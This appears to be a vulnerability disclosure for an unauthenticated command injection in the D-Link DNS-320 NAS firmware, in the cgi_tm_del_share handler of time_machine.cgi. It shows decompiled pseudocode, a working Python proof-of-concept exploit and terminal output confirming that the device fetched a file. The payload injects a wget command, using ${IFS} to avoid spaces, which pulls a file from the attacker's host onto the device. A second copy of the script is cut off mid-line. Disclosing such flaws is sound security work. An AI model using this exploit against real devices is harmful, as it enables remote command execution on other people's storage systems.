D-Link DNS-320 time_machine.cgi cgi_tm_del_share function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

The function `sub_9F20` retrieves the `name` parameter via `cgiFormString` and directly injects it into a `system()` call (`avahi_tm_serv --tm_del %s >/dev/null`) without sanitization, allowing remote attackers to execute arbitrary shell commands.

```
28      else if ( !strcmp(v1, "cgi_tm_del_share") )
29      {
30        sub_9F20();
```

IDA View-A | Pseudocode-C | Pseudocode-A | Pseudocode-B | Strings

```
1 int sub_9F20()
2 {
3   char v1[4]; // [sp+0h] [bp-614h] BYREF
4   char v2[532]; // [sp+400h] [bp-214h] BYREF
5
6   cgiFormString("name", v2, 512);
7   afpIf_delShare(v2);
8   sprintf(v1, "avahi_tm_serv --tm_del %s >/dev/null", v2);
9   system(v1);
10  return cgiHeaderContentType("text/html");
11 }
```

POC

```
import requests

ROUTER_IP = "192.168.31.10"
MY_IP = "192.168.31.215"
MY_PORT = "8000"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/time_machine.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}${{IFS}}-O${{IFS}}/tmp/{FILE_NAME}"
    final_payload = f"x;{wget_cmd};"
```

```python
    params = {
        'cmd': 'cgi_tm_del_share',
        'name': final_payload,
    }

    try:
        requests.get(target_url, params=params, timeout=5)
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!")

if __name__ == "__main__":
    run_exploit()
```

Attack

```python
import requests

ROUTER_IP = "192.168.31.10"
MY_IP = "192.168.31.215"
MY_PORT = "8000"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/time_machine.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}
    final_payload = f"x;{wget_cmd};"

    params = {
        'cmd': 'cgi_tm_del_share',
        'name': final_payload,
    }

    try:
        requests.get(target_url, params=params, timeou
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!"
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp>
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent (check server logs)!
```

C:\Windows\system32\cmd.exe - python -m http.server 8000

```
D:\Desktop\temp>
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D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>python -m http.server 8000
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:192.168.31.10 - - [16/Mar/2026 22:41:18] "GET /hack.txt HTTP/1.0" 200 -
```